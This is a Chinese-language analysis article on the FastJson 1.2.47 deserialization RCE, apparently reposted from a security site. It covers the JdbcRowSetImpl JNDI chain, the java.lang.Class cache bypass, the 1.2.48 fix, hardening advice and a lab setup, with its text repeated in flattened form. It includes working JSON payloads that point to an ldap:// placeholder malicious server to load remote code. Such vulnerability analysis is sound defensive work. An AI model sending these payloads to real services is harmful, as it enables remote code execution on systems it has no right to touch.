一步一步学习某Json1.2.47远程命令执行漏洞
字数 1726 2025-08-26 22:11:40

FastJson 1.2.47 远程命令执行漏洞深度分析

前言

FastJson 是阿里巴巴开源的高性能JSON处理库,在1.2.47及以下版本中存在严重的远程命令执行漏洞。本文将详细分析该漏洞的原理、利用方式及修复方案。

漏洞影响范围

  • FastJson < 1.2.51
  • 特别关注1.2.47版本的利用方式

前置知识:FastJson 1.2.24 RCE

在分析1.2.47漏洞前,先了解1.2.24版本的RCE漏洞作为基础。

漏洞利用链分析

  1. 利用类com.sun.rowset.JdbcRowSetImpl
  2. 关键函数调用链
    • setDataSourceName()setAutoConnect()connect()lookup()
  3. 利用原理
    • 通过JNDI注入攻击,控制lookup函数的参数
    • 从远程加载恶意工厂类

典型Payload

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://恶意服务器地址/Exploit",
  "autoCommit": true
}

FastJson 1.2.47 RCE漏洞分析

漏洞背景

FastJson在1.2.24后增加了checkAutoType安全机制和黑名单机制,但1.2.47版本存在绕过方式。

关键绕过点

  1. 利用java.lang.Class

    • 该基础类在1.2.48前不受限制
    • 可以绕过黑名单和AutoType检查
  2. 缓存机制

    • TypeUtils.loadClass函数中cache参数默认为true
    • 允许将恶意类预先加载到mappings中

漏洞利用流程

  1. 第一阶段:加载java.lang.Class

    • 解析JSON中的@typejava.lang.Class
    • 通过MiscCodec.deserialze处理
    • 将恶意类(JdbcRowSetImpl)加载到mappings中
  2. 第二阶段:触发RCE

    • 解析JSON中的恶意类引用
    • 由于恶意类已在mappings中,绕过checkAutoType检查
    • 执行与1.2.24相同的攻击链

典型Payload

{
  "a": {
    "@type": "java.lang.Class", 
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://恶意服务器地址/Exploit",
    "autoCommit": true
  }
}

详细调试分析

  1. JSON解析过程

    • DefaultJSONParser解析JSON字符串
    • 遇到@type时调用checkAutoType检查
  2. java.lang.Class处理

    • 通过deserializers.findClass()查找类
    • MiscCodec.deserialze处理java.lang.Class类型
    • 调用TypeUtils.loadClass加载恶意类到mappings
  3. 恶意类加载

    • 第一阶段完成后,JdbcRowSetImpl已在mappings中
    • 第二阶段直接获取已缓存的恶意类
  4. RCE触发

    • 与1.2.24相同,通过setDataSourceNamelookup
    • 远程加载恶意类执行代码

漏洞修复方案

  1. 1.2.48版本修复措施

    • 更新黑名单,包含java.lang.Class
    • 修改MiscCodec,将cache参数设为false
    • 防止通过缓存机制绕过AutoType检查
  2. 安全建议

    • 升级到FastJson最新版本
    • 禁用AutoType功能(ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

参考资源

  1. Fastjson反序列化漏洞分析文章
  2. Fastjson 1.2.24-1.2.48漏洞分析
  3. Fastjson漏洞分析技术文章

实验环境搭建

  1. 所需工具

    • FastJson 1.2.47版本
    • marshalsec(用于搭建LDAP/RMI服务)
    • JDK 1.8.0
  2. 实验步骤

    • 编译恶意Exploit类
    • 使用marshalsec启动LDAP服务
    • 构造恶意JSON发送到目标应用
    • 观察命令执行结果

总结

FastJson 1.2.47 RCE漏洞通过巧妙利用java.lang.Class和缓存机制,绕过了AutoType安全检查,最终实现了与早期版本相同的远程代码执行效果。理解该漏洞需要对FastJson的反序列化机制、JNDI注入原理有深入认识。开发者应及时升级到安全版本,并采取适当的安全配置措施。

FastJson 1.2.47 远程命令执行漏洞深度分析 前言 FastJson 是阿里巴巴开源的高性能JSON处理库,在1.2.47及以下版本中存在严重的远程命令执行漏洞。本文将详细分析该漏洞的原理、利用方式及修复方案。 漏洞影响范围 FastJson < 1.2.51 特别关注1.2.47版本的利用方式 前置知识:FastJson 1.2.24 RCE 在分析1.2.47漏洞前,先了解1.2.24版本的RCE漏洞作为基础。 漏洞利用链分析 利用类 : com.sun.rowset.JdbcRowSetImpl 关键函数调用链 : setDataSourceName() → setAutoConnect() → connect() → lookup() 利用原理 : 通过JNDI注入攻击,控制 lookup 函数的参数 从远程加载恶意工厂类 典型Payload FastJson 1.2.47 RCE漏洞分析 漏洞背景 FastJson在1.2.24后增加了 checkAutoType 安全机制和黑名单机制,但1.2.47版本存在绕过方式。 关键绕过点 利用 java.lang.Class 类 : 该基础类在1.2.48前不受限制 可以绕过黑名单和AutoType检查 缓存机制 : TypeUtils.loadClass 函数中 cache 参数默认为true 允许将恶意类预先加载到mappings中 漏洞利用流程 第一阶段 :加载 java.lang.Class 解析JSON中的 @type 为 java.lang.Class 通过 MiscCodec.deserialze 处理 将恶意类( JdbcRowSetImpl )加载到mappings中 第二阶段 :触发RCE 解析JSON中的恶意类引用 由于恶意类已在mappings中,绕过 checkAutoType 检查 执行与1.2.24相同的攻击链 典型Payload 详细调试分析 JSON解析过程 : DefaultJSONParser 解析JSON字符串 遇到 @type 时调用 checkAutoType 检查 java.lang.Class 处理 : 通过 deserializers.findClass() 查找类 MiscCodec.deserialze 处理 java.lang.Class 类型 调用 TypeUtils.loadClass 加载恶意类到mappings 恶意类加载 : 第一阶段完成后, JdbcRowSetImpl 已在mappings中 第二阶段直接获取已缓存的恶意类 RCE触发 : 与1.2.24相同,通过 setDataSourceName → lookup 链 远程加载恶意类执行代码 漏洞修复方案 1.2.48版本修复措施 : 更新黑名单,包含 java.lang.Class 修改 MiscCodec ,将 cache 参数设为false 防止通过缓存机制绕过AutoType检查 安全建议 : 升级到FastJson最新版本 禁用AutoType功能( ParserConfig.getGlobalInstance().setAutoTypeSupport(false); ) 参考资源 Fastjson反序列化漏洞分析文章 Fastjson 1.2.24-1.2.48漏洞分析 Fastjson漏洞分析技术文章 实验环境搭建 所需工具 : FastJson 1.2.47版本 marshalsec(用于搭建LDAP/RMI服务) JDK 1.8.0 实验步骤 : 编译恶意Exploit类 使用marshalsec启动LDAP服务 构造恶意JSON发送到目标应用 观察命令执行结果 总结 FastJson 1.2.47 RCE漏洞通过巧妙利用 java.lang.Class 和缓存机制,绕过了AutoType安全检查,最终实现了与早期版本相同的远程代码执行效果。理解该漏洞需要对FastJson的反序列化机制、JNDI注入原理有深入认识。开发者应及时升级到安全版本,并采取适当的安全配置措施。